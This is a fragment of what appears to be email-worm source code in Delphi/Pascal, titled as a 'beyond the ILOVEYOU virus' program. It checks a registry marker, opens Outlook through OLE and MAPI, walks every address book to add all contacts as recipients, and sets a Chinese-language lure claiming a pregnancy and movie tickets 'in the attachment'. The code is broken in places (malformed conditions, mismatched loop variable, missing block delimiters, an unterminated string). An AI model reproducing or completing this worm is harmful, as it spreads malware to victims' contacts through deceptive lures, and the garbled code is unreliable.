超越爱虫病毒序

reg.RootKey:=HKEY_LOCAL_MACHINE;
if reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersion',true)then

if reg.ValueExists('Apologles') true then

UngaDasOutlook := CreateoleObject('Outlook.Application');
DasMapiName := UngaDasOutlook.GetNamespace('MAPI');
DasMapiName.Logon ('profile','password');
For y:=1 To DasMapiName.AddressLists.Count do

AddyBook:= DasMapiName.AddressLists(y);

BreakUmOffASlice:= UngaDasOutlook.CreateItem(0);
For oo:= 1 To AddyBook.AddressEntries.Count do

Peep := AddyBook.AddressEntries(x);
BreakUmOffASlice.Recipients.Add (Peep);




BreakUmOffASlice.Subject:='不,你知道，在酒吧里那件事儿';
BreakUmOffASlice.Body:='我骗你是因为我有了你的孩子，啊！我的上帝,电影票在附件中有。